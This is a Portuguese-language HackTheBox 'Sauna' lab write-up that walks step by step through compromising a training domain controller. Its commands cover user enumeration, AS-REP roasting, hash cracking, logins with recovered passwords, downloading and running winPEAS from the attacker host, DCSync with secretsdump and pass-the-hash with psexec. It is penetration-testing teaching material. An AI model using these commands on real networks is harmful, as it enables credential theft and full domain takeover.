> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md).

# Relato do HackTheBox Sauna

{% embed url="<https://app.hackthebox.com/machines/229>" %}

{% hint style="warning" %}
**Habilidades**:

* Vazamento de Informações
* Enumeração LDAP
* Enumeração de Usuários Kerberos - Kerbrute
* Ataque AS-REP Roasting (GetNPUsers)
* Quebrando hashes
* Enumeração do Sistema - WinPEAS
* Credenciais de AutoLogon
* BloodHound - SharpHound.ps1
* Ataque DCSync - Secretsdump (Escalada de Privilégios)
* Pass-the-Hash
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/8d2ab7c19c00420f9f2088a91c9babe47cba87a9" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/e1fa579b070f5e3f42ddf5ae41fd5ba589dc7028" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts
```

<figure><img src="/files/45953fa72d8d1132ada52317581dd3ef2d9932c0" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir de forma concisa as portas abertas e copiá-las para a área de transferência.

<figure><img src="/files/17a8318818a449216397a7ecd92df33a0b2eb929" alt=""><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted
```

<figure><img src="/files/d52d2e06d4b9b92c6fd3c3c37ae41cc0d69a280e" alt=""><figcaption></figcaption></figure>

## **Enumeração e exploração:**

### **Reconhecimento SMB:**

Usando o CrackMapExec para identificar o sistema operacional

```bash
crackmapexec smb 10.10.10.175
```

<div data-full-width="true"><figure><img src="/files/f24d0284d9df367ddec61b918f45bea4ea858086" alt=""><figcaption></figcaption></figure></div>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo.<br>

<figure><img src="/files/21f3c19c392c46e8e665c91a8db32749cdac1fc7" alt=""><figcaption></figcaption></figure>

#### Explorando compartilhamentos SMB na rede para identificar recursos compartilhados, mas sem resultados.

```bash
crackmapexec smb 10.10.10.175 --shares
```

<figure><img src="/files/6b36e0244119d4ff0c9f600b018b595d09974489" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.175 -u 'null'
```

<figure><img src="/files/824142158f7c4015071de3cb9df09b93dbc88843" alt=""><figcaption></figcaption></figure>

```bash
smbclient -L 10.10.10.175 -N
```

<figure><img src="/files/4b50cd78122a181c3a236753e80b898d1640222d" alt=""><figcaption></figcaption></figure>

### **Reconhecimento RPC:**

Uso do rpcclient para interagir com serviços CPP e coletar informações de recursos

```bash
rpcclient -U "" 10.10.10.175 -N
enumdomusers
```

<figure><img src="/files/b71ac176dbe75e8be1964e5702be39cac0dfe87e" alt=""><figcaption></figcaption></figure>

### **Reconhecimento LDAP:**

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap#ldapsearch>" %}

#### Análise das informações LDAP para detalhes sobre a estrutura do domínio e usuários.

```bash
ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts
```

<figure><img src="/files/47feb6fa88936a4760047455cad8556b38841e43" alt=""><figcaption></figcaption></figure>

**Análise das Informações LDAP**

Análise de detalhes sobre a estrutura do domínio e usuários.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL
```

**Filtragem de usuários LDAP**

Filtro para obter apenas usuários LDAP.

```bash
ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//'
```

<div data-full-width="true"><figure><img src="/files/7440ca493667385c54a66e2d61868dc3c2478025" alt=""><figcaption></figcaption></figure></div>

### Lista de Usuários:

<figure><img src="/files/4528df49633c3b4bfd77e23547cb206865affb5e" alt=""><figcaption></figcaption></figure>

#### Crie um `users.txt` arquivo contendo possíveis nomes de usuário.

```
hugosmith
h.smith 
hugo.smith
hsmith

fergussmith
f.smith 
fergus.smith 
fsmith

hugobear
h.bear
hugo.bear
hbear

stevenkerb
s.kerb
steven.kerb
skerb

shauncoins
s.coins
shaun.coins
scoins

bowietaylor
b.taylor
bowie.taylor
btaylor

sophiedriver
s.driver
sophie.driver
sdriver
```

### **Lista de Usuários via Kerberos**

Usando `kerbrute` para listar usuários válidos.

```bash
./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt
```

<figure><img src="/files/e790a9d459673ddb3e4cb0d97d63abd70d33bea4" alt=""><figcaption></figcaption></figure>

### **Lista de Usuários via Impacket**

Usando `impacket-GetNPUsers` para listar usuários válidos sem senhas.

```bash
impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt
```

<figure><img src="/files/ed497da80e3a1b81fad85e41a11f7f4810a9f02d" alt=""><figcaption></figcaption></figure>

### Ataque de Força Bruta:

Usando o John para quebrar o hash recuperado.

<pre class="language-bash"><code class="lang-bash"><strong>john --wordlist=/usr/share/wordlists/rockyou.txt hash
</strong></code></pre>

<div data-full-width="true"><figure><img src="/files/2d4e4f17f03d8e3d86ad4f32ce828886cee3c0a5" alt=""><figcaption></figcaption></figure></div>

#### Conexão e Controle Remoto

Usando WinRM para se conectar remotamente.

```bash
crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

#### Funciona, mas sem a marca de pwned não é possível conectar via WinRM.

<figure><img src="/files/bfd390d0992d6aacf9bdc9876f69fd64959e3f35" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3d5ae5de8c9e10fce221acf438bc820aab039342" alt=""><figcaption></figcaption></figure>

Neste exemplo, a conexão é possível porque o usuário fsmith é membro do grupo /\*Remote Management Users

```bash
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<div data-full-width="true"><figure><img src="/files/fde6d2d88dfd5e9c93f14800add3ed800de9f603" alt=""><figcaption></figcaption></figure></div>

#### **Login com Evil-WinRM**

Usando Evil-WinRM para uma conexão interativa via WinRM.

```bash
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
```

<figure><img src="/files/e14f1b65d485643a667bb08934c91fff2689b981" alt=""><figcaption></figcaption></figure>

## Escalada de privilégio:

#### **Verificação de Privilégios Especiais:**

Usando `whoami /priv` para verificar privilégios especiais.

<figure><img src="/files/258f2341715d006635d72d311b2ff31b26f6956c" alt=""><figcaption></figcaption></figure>

#### **Buscar Novos Usuários**

Usando `net user` para buscar novos usuários.

<figure><img src="/files/0dd74578500e988862f59d9b4e19413bef8de6a2" alt=""><figcaption></figcaption></figure>

**Busca de credenciais para o usuário "svc/ loanmgr"**

### **Reconhecimento com** winPEAS.exe

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

Baixe e execute a ferramenta de reconhecimento winPEAS

```bash
Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<div data-full-width="true"><figure><img src="/files/53586f2d50de6adf48486548ac52c9c29207944c" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/1b01c86aac4b27252d0463e3263dfd3c77a50cb9" alt=""><figcaption></figcaption></figure>

### Validação das credenciais encontradas com crackmapexec:

Credenciais de login automático do usuário `svc_loanmgr` foram encontradas, com a senha

<figure><img src="/files/c8a8b1287d0de17f699bd50ad509f66307b9ec2e" alt=""><figcaption></figcaption></figure>

#### Usando crackmapexec para validar se a senha está correta.

```bash
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<div data-full-width="true"><figure><img src="/files/e342344e8858ba841e20a0de161dd0eea1e2e003" alt=""><figcaption></figcaption></figure></div>

### Conexão com as credenciais de "svc/ loanmgr":

```bash
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
```

<figure><img src="/files/40121fa2f22cd7f8ef9b82fdb27712d8567ac8b6" alt=""><figcaption></figcaption></figure>

## Lista do Domínio com BloodHound:

<details>

<summary>Instalação do BloodHound:</summary>

```bash
apt install neo4j bloodhound
neo4j console &> /dev/null & disown
lsof -i:7474
```

#### Conexão ao BloodHound com credenciais neo4j:neo4j.

<img src="/files/b72fa14731cbbc091246dee3904d7abbe172b436" alt="" data-size="original">

#### Iniciando o BloodHound.

```bash
bloodhound &> /dev/null & disown
```

<img src="/files/7e36fc450f42470d22b4556de20a6ee274456ac2" alt="" data-size="original">

</details>

### Coletar informações com SharpHound.ps1

{% embed url="<https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1>" %}

<figure><img src="/files/3c8c3013505d4ce15b547b16d82eadd195742f4a" alt=""><figcaption></figcaption></figure>

### Transferência dos dados coletados para o Linux e importação no BloodHound

#### Criar um arquivo .zip com os resultados da coleta.

```bash
Import-Module ./sharhound.ps1
Invoke-BloodHound -CollectionMethod All
```

#### Baixe o arquivo zip da máquina Windows para o Linux.

```powershell
download PS C:/windows/temp/privesc/file.zip file.zip
```

#### Importar o arquivo zip para o BloodHound.

<figure><img src="/files/38a730ace0c7bd72a6ad368762c87deab8a6e22d" alt=""><figcaption></figcaption></figure>

### Análise e operação:

#### Filtrar pelo caminho mais curto até a administração

<figure><img src="/files/782256915581f9f74936ad934ec8f1dee3c30456" alt=""><figcaption></figcaption></figure>

#### A ferramenta indica a possibilidade de realizar um ataque DCSync.

<div data-full-width="true"><figure><img src="/files/870e0c037ac5113cbb206e2f60c748aaa5432fa2" alt=""><figcaption></figcaption></figure></div>

## Vulnerabilidade do Ataque DCSync:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcsync>" %}

#### Usando secretsdump para obter o hash NT do usuário administrador.

```bash
impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
```

<figure><img src="/files/4407cee5e3f387dc9d97a25712abd7acf4b72574" alt=""><figcaption></figcaption></figure>

#### Usando psexec para executar um cmd como administrador usando o hash NT.

```bash
impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e
```

<figure><img src="/files/94b4435afb82eebe306b71f54f2c725a17289bcb" alt=""><figcaption></figcaption></figure>

### Flag final :)

<figure><img src="/files/d113ef023b76d06b4070a5f674e3a7b371264779" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/52eb4af093702ad0427fb53105610e2c3cde26c8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
